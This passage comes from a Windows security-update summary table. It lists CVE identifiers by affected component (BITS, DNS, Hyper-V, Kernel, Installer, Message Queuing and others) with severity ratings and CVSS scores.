%%cve:2026-122175%%	No	No	-	-	Important	7.0	6.1
Windows Background Intelligent Transfer Service (BITS) Elevation of Privilege Vulnerability
%%cve:2026-105554%%	No	No	-	-	Important	7.0	6.1
Windows Backup Engine Elevation of Privilege Vulnerability
%%cve:2026-119405%%	No	No	-	-	Important	7.0	6.1
Windows Bind Filter Driver Elevation of Privilege Vulnerability
%%cve:2026-70182%%	No	No	-	-	Important	7.8	6.8
Windows Biometric Service Elevation of Privilege Vulnerability
%%cve:2026-88239%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-95877%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-96127%%	No	No	-	-	Important	7.8	6.8
Windows BitLocker Security Feature Bypass Vulnerability
%%cve:2026-119832%%	No	No	-	-	Important	5.9	5.2
%%cve:2026-97015%%	No	No	-	-	Important	6.8	5.9
Windows Bluetooth A2DP driver Elevation of Privilege Vulnerability
%%cve:2026-88187%%	No	No	-	-	Important	8.0	7.0
Windows Bluetooth Port Driver Elevation of Privilege Vulnerability
%%cve:2026-95996%%	No	No	-	-	Important	8.8	7.7
Windows Bluetooth Service Elevation of Privilege Vulnerability
%%cve:2026-88213%%	No	No	-	-	Important	7.8	6.8
Windows Bluetooth Service Information Disclosure Vulnerability
%%cve:2026-96001%%	No	No	-	-	Important	5.5	4.8
Windows Broadcast DVR User Service Elevation of Privilege Vulnerability
%%cve:2026-112761%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-113762%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-119401%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-119402%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-119403%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-88221%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-94529%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-95871%%	No	No	-	-	Important	7.0	6.1
Windows Broker Infrastructure Service Information Disclosure Vulnerability
%%cve:2026-96156%%	No	No	-	-	Important	5.5	4.8
Windows Brokering File System Elevation of Privilege Vulnerability
%%cve:2026-88245%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-95979%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-96097%%	No	No	-	-	Important	7.0	6.1
Windows CD-ROM Driver Elevation of Privilege Vulnerability
%%cve:2026-108405%%	No	No	-	-	Important	7.8	6.8
Windows CD-ROM Driver Remote Code Execution Vulnerability
%%cve:2026-108404%%	No	No	-	-	Important	6.8	5.9
Windows CNG Key Isolation Service Elevation of Privilege Vulnerability
%%cve:2026-103571%%	No	No	-	-	Important	7.0	6.1
Windows COM Elevation of Privilege Vulnerability
%%cve:2026-105533%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-112968%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-94531%%	No	No	-	-	Important	7.8	6.8
Windows COM+ Event System Service Elevation of Privilege Vulnerability
%%cve:2026-113767%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-113769%%	No	No	-	-	Important	7.0	6.1
Windows COM+ Event System Service Information Disclosure Vulnerability
%%cve:2026-119855%%	No	No	-	-	Important	5.5	4.8
Windows Camera Frame Server Monitor Elevation of Privilege Vulnerability
%%cve:2026-85942%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-88232%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-88238%%	No	No	-	-	Important	7.8	6.8
Windows Client for NFS Elevation of Privilege Vulnerability
%%cve:2026-118138%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-122165%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-95885%%	No	No	-	-	Important	8.1	7.1
Windows Client for NFS Remote Code Execution Vulnerability
%%cve:2026-118141%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-88249%%	No	No	-	-	Important	8.8	7.7
Windows Client for NFS Security Feature Bypass Vulnerability
%%cve:2026-119404%%	No	No	-	-	Important	5.9	5.2
Windows Clipboard Virtual Channel Extension Elevation of Privilege Vulnerability
%%cve:2026-96162%%	No	No	-	-	Important	7.8	6.8
Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability
%%cve:2026-105569%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-112763%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-112810%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-119974%%	No	No	-	-	Important	7.0	6.1
Windows Cloud Files Mini Filter Driver Information Disclosure Vulnerability
%%cve:2026-112803%%	No	No	-	-	Important	5.5	4.8
Windows Composite Image File System Information Disclosure Vulnerability
%%cve:2026-112809%%	No	No	-	-	Important	5.5	4.8
Windows Connected User Experiences and Telemetry Elevation of Privilege Vulnerability
%%cve:2026-96072%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-96088%%	No	No	-	-	Important	7.0	6.1
Windows Connected User Experiences and Telemetry Information Disclosure Vulnerability
%%cve:2026-96101%%	No	No	-	-	Important	5.5	4.8
Windows Connection Manager Service Elevation of Privilege Vulnerability
%%cve:2026-96042%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-96043%%	No	No	-	-	Important	7.0	6.1
Windows Container Isolation FS Filter Driver (unionfs.sys) Elevation of Privilege Vulnerability
%%cve:2026-112753%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-113761%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-113771%%	No	No	-	-	Important	5.5	4.8
Windows Container Manager Service Information Disclosure Vulnerability
%%cve:2026-105562%%	No	No	-	-	Important	4.7	4.1
Windows CredSSP Remote Code Execution Vulnerability
%%cve:2026-119962%%	No	No	-	-	Critical	8.1	7.1
Windows Credential Manager Elevation of Privilege Vulnerability
%%cve:2026-119393%%	No	No	-	-	Important	7.8	6.8
Windows Credential User Interface Elevation of Privilege Vulnerability
%%cve:2026-96978%%	No	No	-	-	Important	7.0	6.1
Windows DHCP Client Denial of Service Vulnerability
%%cve:2026-118739%%	No	No	-	-	Important	6.5	5.7
Windows DHCP Client Elevation of Privilege Vulnerability
%%cve:2026-113863%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-88240%%	No	No	-	-	Important	8.0	7.0
%%cve:2026-96115%%	No	No	-	-	Important	8.0	7.0
Windows DHCP Server Denial of Service Vulnerability
%%cve:2026-119890%%	No	No	-	-	Important	5.3	4.6
%%cve:2026-96134%%	No	No	-	-	Important	7.5	6.5
Windows DHCP Server Elevation of Privilege Vulnerability
%%cve:2026-105588%%	No	No	-	-	Important	6.4	5.6
Windows DHCP Server Information Disclosure Vulnerability
%%cve:2026-105557%%	No	No	-	-	Important	5.9	5.2
Windows DHCP Server Remote Code Execution Vulnerability
%%cve:2026-105560%%	No	No	-	-	Important	7.2	6.3
%%cve:2026-72998%%	No	No	-	-	Important	8.1	7.1
%%cve:2026-88216%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-88243%%	No	No	-	-	Important	9.8	8.5
Windows DHCP Server Spoofing Vulnerability
%%cve:2026-113773%%	No	No	-	-	Important	5.3	4.6
Windows DIAL Client Elevation of Privilege Vulnerability
%%cve:2026-96076%%	No	No	-	-	Important	7.8	6.8
Windows DNS Denial of Service Vulnerability
%%cve:2026-96176%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-96983%%	No	No	-	-	Important	5.3	4.6
Windows DNS Elevation of Privilege Vulnerability
%%cve:2026-105520%%	No	No	-	-	Important	7.2	6.3
%%cve:2026-119953%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-96179%%	No	No	-	-	Important	6.7	5.8
Windows DNS Information Disclosure Vulnerability
%%cve:2026-105579%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-108425%%	No	No	-	-	Important	5.9	5.2
%%cve:2026-119970%%	No	No	-	-	Important	4.9	4.3
%%cve:2026-96970%%	No	No	-	-	Important	4.9	4.3
%%cve:2026-96976%%	No	No	-	-	Important	4.9	4.3
%%cve:2026-96980%%	No	No	-	-	Important	4.9	4.3
%%cve:2026-96984%%	No	No	-	-	Important	4.9	4.3
%%cve:2026-96985%%	No	No	-	-	Important	4.9	4.3
%%cve:2026-96986%%	No	No	-	-	Important	4.9	4.3
%%cve:2026-96987%%	No	No	-	-	Important	4.9	4.3
%%cve:2026-96988%%	No	No	-	-	Important	4.9	4.3
%%cve:2026-97006%%	No	No	-	-	Important	4.9	4.3
Windows DNS Remote Code Execution Vulnerability
%%cve:2026-109463%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-113855%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-88218%%	No	No	-	-	Important	9.8	8.5
Windows DNS Server Information Disclosure Vulnerability
%%cve:2026-119971%%	No	No	-	-	Important	4.9	4.3
%%cve:2026-96112%%	No	No	-	-	Important	5.5	4.8
%%cve:2026-96972%%	No	No	-	-	Important	7.5	6.5
Windows DNS Server Remote Code Execution Vulnerability
%%cve:2026-81384%%	No	No	-	-	Important	8.1	7.1
Windows DNS Spoofing Vulnerability
%%cve:2026-119905%%	No	No	-	-	Important	4.9	4.3
Windows DPAPI (Data Protection Application Programming Interface) Elevation of Privilege Vulnerability
%%cve:2026-113763%%	No	No	-	-	Important	6.3	5.5
Windows DWM Core Library Elevation of Privilege Vulnerability
%%cve:2026-105575%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-105582%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-105583%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-112986%%	No	No	-	-	Important	7.0	6.1
Windows Defender Firewall Service Elevation of Privilege Vulnerability
%%cve:2026-112758%%	No	No	-	-	Important	7.8	6.8
Windows Deployment Services Information Disclosure Vulnerability
%%cve:2026-112977%%	No	No	-	-	Important	5.5	4.8
%%cve:2026-113818%%	No	No	-	-	Important	6.5	5.7
%%cve:2026-118213%%	No	No	-	-	Important	5.9	5.2
Windows Deployment Services Remote Code Execution Vulnerability
%%cve:2026-105558%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-119951%%	No	No	-	-	Critical	8.1	7.1
Windows Desktop Window Manager Elevation of Privilege Vulnerability
%%cve:2026-112988%%	No	No	-	-	Important	5.5	4.8
%%cve:2026-113758%%	No	No	-	-	Important	7.8	6.8
Windows Device Association Service Elevation of Privilege Vulnerability
%%cve:2026-112743%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-119844%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-119866%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-119874%%	No	No	-	-	Important	7.0	6.1
Windows Device Inventory Elevation of Privilege Vulnerability
%%cve:2026-113750%%	No	No	-	-	Important	7.0	6.1
Windows Devices Human Interface Elevation of Privilege Vulnerability
%%cve:2026-113817%%	No	No	-	-	Important	6.6	5.8
Windows Diagnostic Policy Service Elevation of Privilege Vulnerability
%%cve:2026-112800%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-95934%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-95976%%	No	No	-	-	Important	7.0	6.1
Windows Distributed File System (DFS) Elevation of Privilege Vulnerability
%%cve:2026-118142%%	No	No	-	-	Important	7.8	6.8
Windows Distributed Transaction Coordinator Elevation of Privilege Vulnerability
%%cve:2026-119917%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-119919%%	No	No	-	-	Important	7.0	6.1
Windows Encrypting File System (EFS) Denial of Service Vulnerability
%%cve:2026-105527%%	No	No	-	-	Important	5.5	4.8
Windows Encrypting File System (EFS) Elevation of Privilege Vulnerability
%%cve:2026-96973%%	No	No	-	-	Important	7.0	6.1
Windows Enhanced Storage Remote Code Execution Vulnerability
%%cve:2026-119394%%	No	No	-	-	Important	6.6	5.8
Windows Error Reporting Elevation of Privilege Vulnerability
%%cve:2026-105540%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-85862%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-94525%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-95947%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-96153%%	No	No	-	-	Important	7.0	6.1
Windows Event Collector Service Elevation of Privilege Vulnerability
%%cve:2026-112793%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-112796%%	No	No	-	-	Important	7.0	6.1
Windows Event Logging Service Elevation of Privilege Vulnerability
%%cve:2026-95997%%	No	No	-	-	Important	7.8	6.8
Windows Event Viewer Information Disclosure Vulnerability
%%cve:2026-95977%%	No	No	-	-	Important	5.5	4.8
Windows FTP Service Elevation of Privilege Vulnerability
%%cve:2026-118137%%	No	No	-	-	Important	7.8	6.8
Windows Failover Cluster Elevation of Privilege Vulnerability
%%cve:2026-119869%%	No	No	-	-	Important	6.4	5.6
Windows Fast FAT Driver Elevation of Privilege Vulnerability
%%cve:2026-113751%%	No	No	-	-	Important	7.0	6.1
Windows Feedback Hub Elevation of Privilege Vulnerability
%%cve:2026-96075%%	No	No	-	-	Important	7.0	6.1
Windows File Server Resource Management Service Elevation of Privilege Vulnerability
%%cve:2026-108415%%	No	No	-	-	Important	6.8	5.9
%%cve:2026-108416%%	No	No	-	-	Important	6.8	5.9
%%cve:2026-108421%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-113765%%	No	No	-	-	Important	7.8	6.8
Windows FileCrypt Driver Information Disclosure Vulnerability
%%cve:2026-113754%%	No	No	-	-	Important	4.7	4.1
%%cve:2026-113757%%	No	No	-	-	Important	5.5	4.8
Windows FileCrypt Driver Security Feature Bypass Vulnerability
%%cve:2026-113756%%	No	No	-	-	Important	5.3	4.6
Windows Filter Manager Elevation of Privilege Vulnerability
%%cve:2026-113755%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-121673%%	No	No	-	-	Important	7.8	6.8
Windows Filtering Platform (WFP) Elevation of Privilege Vulnerability
%%cve:2026-105553%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-112756%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-88215%%	No	No	-	-	Important	6.4	5.6
Windows Function Discovery Resource Publication Elevation of Privilege Vulnerability
%%cve:2026-119907%%	No	No	-	-	Important	7.8	6.8
Windows Function Discovery Resource Publication Remote Code Execution Vulnerability
%%cve:2026-125134%%	No	No	-	-	Critical	7.5	6.5
Windows Function Discovery SSDP Provider Remote Code Execution Vulnerability
%%cve:2026-118145%%	No	No	-	-	Critical	7.5	6.5
Windows GDI Elevation of Privilege Vulnerability
%%cve:2026-108407%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-94527%%	No	No	-	-	Important	7.8	6.8
Windows GDI Information Disclosure Vulnerability
%%cve:2026-108424%%	No	No	-	-	Important	6.5	5.7
Windows Graphics Kernel Elevation of Privilege Vulnerability
%%cve:2026-119966%%	No	No	-	-	Critical	7.5	6.5
%%cve:2026-125137%%	No	No	-	-	Critical	7.8	6.8
%%cve:2026-94519%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-95879%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-95888%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-95895%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-95906%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-95909%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-95922%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-95932%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-95935%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-95938%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-95942%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-95948%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-95950%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-95953%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-95966%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-95971%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-95973%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-95974%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-95983%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-95991%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-96122%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-96124%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-96126%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-96160%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-96168%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-96171%%	No	No	-	-	Important	7.0	6.1
Windows Graphics Kernel Information Disclosure Vulnerability
%%cve:2026-119841%%	No	No	-	-	Important	4.7	4.1
%%cve:2026-88217%%	No	No	-	-	Important	5.5	4.8
%%cve:2026-95946%%	No	No	-	-	Important	5.5	4.8
%%cve:2026-96048%%	No	No	-	-	Important	4.7	4.1
%%cve:2026-96133%%	No	No	-	-	Important	5.5	4.8
%%cve:2026-96137%%	No	No	-	-	Important	5.5	4.8
%%cve:2026-96144%%	No	No	-	-	Important	4.7	4.1
Windows HTTP.sys Elevation of Privilege Vulnerability
%%cve:2026-119992%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-95923%%	No	No	-	-	Important	7.0	6.1
Windows Hyper-V Denial of Service Vulnerability
%%cve:2026-119385%%	No	No	-	-	Important	4.7	4.1
%%cve:2026-119955%%	No	No	-	-	Important	6.0	5.2
%%cve:2026-95913%%	No	No	-	-	Important	5.9	5.2
%%cve:2026-96965%%	No	No	-	-	Important	5.3	4.6
Windows Hyper-V Elevation of Privilege Vulnerability
%%cve:2026-113753%%	No	No	-	-	Critical	8.2	7.1
%%cve:2026-113856%%	No	No	-	-	Critical	7.8	6.8
%%cve:2026-113860%%	No	No	-	-	Critical	7.0	6.1
%%cve:2026-113861%%	No	No	-	-	Critical	7.5	6.5
%%cve:2026-113864%%	No	No	-	-	Critical	6.4	5.6
%%cve:2026-113865%%	No	No	-	-	Critical	7.8	6.8
%%cve:2026-119391%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-119826%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-119947%%	No	No	-	-	Critical	7.5	6.5
%%cve:2026-119960%%	No	No	-	-	Critical	7.5	6.5
Windows Hyper-V Security Feature Bypass Vulnerability
%%cve:2026-95910%%	No	No	-	-	Important	6.7	5.8
Windows Hyper-V Spoofing Vulnerability
%%cve:2026-119959%%	No	No	-	-	Important	5.3	4.6
Windows IKE Extension Spoofing Vulnerability
%%cve:2026-122169%%	No	No	-	-	Important	7.5	6.5
Windows IP Translation Configuration Service Elevation of Privilege Vulnerability
%%cve:2026-119871%%	No	No	-	-	Important	6.4	5.6
Windows Image Acquisition Remote Code Execution Vulnerability
%%cve:2026-122163%%	No	No	-	-	Important	7.5	6.5
Windows Imaging Component Remote Code Execution Vulnerability
%%cve:2026-96164%%	No	No	-	-	Important	8.8	7.7
Windows Input System Elevation of Privilege Vulnerability
%%cve:2026-119862%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-119916%%	No	No	-	-	Important	8.8	7.7
Windows Installer Elevation of Privilege Vulnerability
%%cve:2026-105501%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-105507%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-105532%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-105543%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-105545%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-113847%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-119398%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-119399%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-119831%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-119852%%	No	No	-	-	Important	6.7	5.8
%%cve:2026-119865%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-119892%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-119903%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-119929%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-95951%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-96004%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-96008%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-96019%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-96026%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-96027%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-96028%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-96029%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-96035%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-96036%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-96046%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-96047%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-96060%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-96061%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-96062%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-96073%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-96085%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-96152%%	No	No	-	-	Important	7.8	6.8
Windows Installer Information Disclosure Vulnerability
%%cve:2026-112789%%	No	No	-	-	Important	4.7	4.1
%%cve:2026-119838%%	No	No	-	-	Important	4.7	4.1
%%cve:2026-119887%%	No	No	-	-	Important	6.5	5.7
Windows Installer Security Feature Bypass Vulnerability
%%cve:2026-119867%%	No	No	-	-	Important	5.3	4.6
Windows Internet (wininet.dll) Information Disclosure Vulnerability
%%cve:2026-96093%%	No	No	-	-	Important	4.7	4.1
Windows Internet Connection Sharing (ICS) Elevation of Privilege Vulnerability
%%cve:2026-118124%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-119859%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-119860%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-119861%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-122179%%	No	No	-	-	Important	7.0	6.1
Windows Internet Information Services Denial of Service Vulnerability
%%cve:2026-119909%%	No	No	-	-	Important	5.9	5.2
%%cve:2026-119936%%	No	No	-	-	Important	5.9	5.2
Windows Internet Information Services Remote Code Execution Vulnerability
%%cve:2026-119961%%	No	No	-	-	Critical	8.1	7.1
Windows Inventory Backup Information Disclosure Vulnerability
%%cve:2026-105584%%	No	No	-	-	Important	5.5	4.8
Windows JScript Remote Code Execution Vulnerability
%%cve:2026-112985%%	No	No	-	-	Important	7.5	6.5
Windows Kerberos Denial of Service Vulnerability
%%cve:2026-119940%%	No	No	-	-	Important	6.5	5.7
%%cve:2026-70240%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-96082%%	No	No	-	-	Important	6.5	5.7
Windows Kerberos Elevation of Privilege Vulnerability
%%cve:2026-119847%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-122164%%	No	No	-	-	Important	8.0	7.0
%%cve:2026-85844%%	No	No	-	-	Important	9.8	8.5
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2026-105504%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-105513%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-105566%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-108403%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-109473%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-112790%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-112802%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-112805%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-112969%%	No	No	-	-	Important	6.6	5.8
%%cve:2026-114170%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-118143%%	No	No	-	-	Important	6.8	5.9
%%cve:2026-119868%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-119884%%	No	No	-	-	Important	6.8	5.9
%%cve:2026-119912%%	No	No	-	-	Important	6.7	5.8
%%cve:2026-119918%%	No	No	-	-	Important	6.8	5.9
%%cve:2026-119935%%	No	No	-	-	Important	6.8	5.9
%%cve:2026-119965%%	No	No	-	-	Important	6.4	5.6
%%cve:2026-122183%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-94514%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-95905%%	No	No	-	-	Important	6.8	5.9
%%cve:2026-95988%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-96031%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-96052%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-96129%%	No	No	-	-	Important	7.8	6.8
Windows Kernel Information Disclosure Vulnerability
%%cve:2026-105552%%	No	No	-	-	Important	5.5	4.8
%%cve:2026-119857%%	No	No	-	-	Important	5.5	4.8
%%cve:2026-96058%%	No	No	-	-	Important	4.6	4.0
Windows Kernel Security Feature Bypass Vulnerability
%%cve:2026-112973%%	No	No	-	-	Important	7.1	6.2
Windows Kernel Transaction Manager Elevation of Privilege Vulnerability
%%cve:2026-119397%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-94522%%	No	No	-	-	Important	7.0	6.1
Windows Kernel Transaction Manager Information Disclosure Vulnerability
%%cve:2026-122297%%	No	No	-	-	Important	5.5	4.8
%%cve:2026-94517%%	No	No	-	-	Important	5.5	4.8
Windows Kernel-Mode Drivers Elevation of Privilege Vulnerability
%%cve:2026-96139%%	No	No	-	-	Important	7.0	6.1
Windows LDAP - Lightweight Directory Access Protocol Remote Code Execution Vulnerability
%%cve:2026-119958%%	No	No	-	-	Critical	9.8	8.5
Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability
%%cve:2026-88230%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-96117%%	No	No	-	-	Important	7.8	6.8
Windows Language Experience Service Tampering Vulnerability
%%cve:2026-113766%%	No	No	-	-	Important	3.3	2.9
Windows Layer-2 Bridge Network Driver Denial of Service Vulnerability
%%cve:2026-108402%%	No	No	-	-	Important	5.3	4.6
Windows Link Layer Topology Discovery Protocol Elevation of Privilege Vulnerability
%%cve:2026-116707%%	No	No	-	-	Important	7.0	6.1
Windows Link Layer Topology Discovery Protocol Remote Code Execution Vulnerability
%%cve:2026-116706%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-88244%%	No	No	-	-	Important	7.5	6.5
Windows Link-Layer Discovery Protocol (LLDP) Denial of Service Vulnerability
%%cve:2026-112975%%	No	No	-	-	Important	5.3	4.6
Windows Link-Layer Discovery Protocol (LLDP) Elevation of Privilege Vulnerability
%%cve:2026-113816%%	No	No	-	-	Important	4.1	3.6
Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability
%%cve:2026-112807%%	No	No	-	-	Important	6.5	5.7
Windows Local Security Authority Subsystem Service (LSASS) Elevation of Privilege Vulnerability
%%cve:2026-70231%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-85801%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-88227%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-88228%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-96016%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-96066%%	No	No	-	-	Important	7.8	6.8
Windows Local Session Manager (LSM) Elevation of Privilege Vulnerability
%%cve:2026-95876%%	No	No	-	-	Important	7.0	6.1
Windows MIDI Service Module Elevation of Privileges Vulnerability
%%cve:2026-105565%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-105574%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-119901%%	No	No	-	-	Important	6.4	5.6
Windows Management Instrumentation Elevation of Privilege Vulnerability
%%cve:2026-105503%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-105524%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-105546%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-112814%%	No	No	-	-	Important	5.5	4.8
%%cve:2026-95920%%	No	No	-	-	Important	7.8	6.8
Windows Management Instrumentation Information Disclosure Vulnerability
%%cve:2026-108410%%	No	No	-	-	Important	5.5	4.8
%%cve:2026-112965%%	No	No	-	-	Important	5.5	4.8
Windows Management Instrumentation Remote Code Execution Vulnerability
%%cve:2026-105580%%	No	No	-	-	Important	7.8	6.8
Windows Management Services Information Disclosure Vulnerability
%%cve:2026-119836%%	No	No	-	-	Important	4.7	4.1
Windows Maps Elevation of Privilege Vulnerability
%%cve:2026-122182%%	No	No	-	-	Important	7.0	6.1
Windows Media Player Remote Code Execution Vulnerability
%%cve:2026-88229%%	No	No	-	-	Important	8.8	7.7
Windows Message Queuing Denial of Service Vulnerability
%%cve:2026-105515%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-119848%%	No	No	-	-	Important	5.3	4.6
Windows Message Queuing Elevation of Privilege Vulnerability
%%cve:2026-118125%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-118126%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-119833%%	No	No	-	-	Important	7.0	6.1
Windows Message Queuing Queue Manager Remote Code Execution Vulnerability
%%cve:2026-109459%%	No	No	-	-	Critical	8.1	7.1
%%cve:2026-119967%%	No	No	-	-	Critical	8.1	7.1
Windows Message Queuing Remote Code Execution Vulnerability
%%cve:2026-116710%%	No	No	-	-	Critical	8.1	7.1
%%cve:2026-119963%%	No	No	-	-	Critical	8.1	7.1
%%cve:2026-119964%%	No	No	-	-	Critical	8.1	7.1
Windows Microsoft Account Sign-in Assistant Elevation of Privilege Vulnerability
%%cve:2026-119816%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-119921%%	No	No	-	-	Important	7.0	6.1
Windows Mobile Device Management Elevation of Privilege Vulnerability
%%cve:2026-119944%%	No	No	-	-	Important	7.5	6.5
Windows Modern Device Management (MDM) Elevation of Privilege Vulnerability
%%cve:2026-112987%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-113820%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-96184%%	No	No	-	-	Important	7.8	6.8
Windows Modern Device Management (MDM) Remote Code Execution Vulnerability
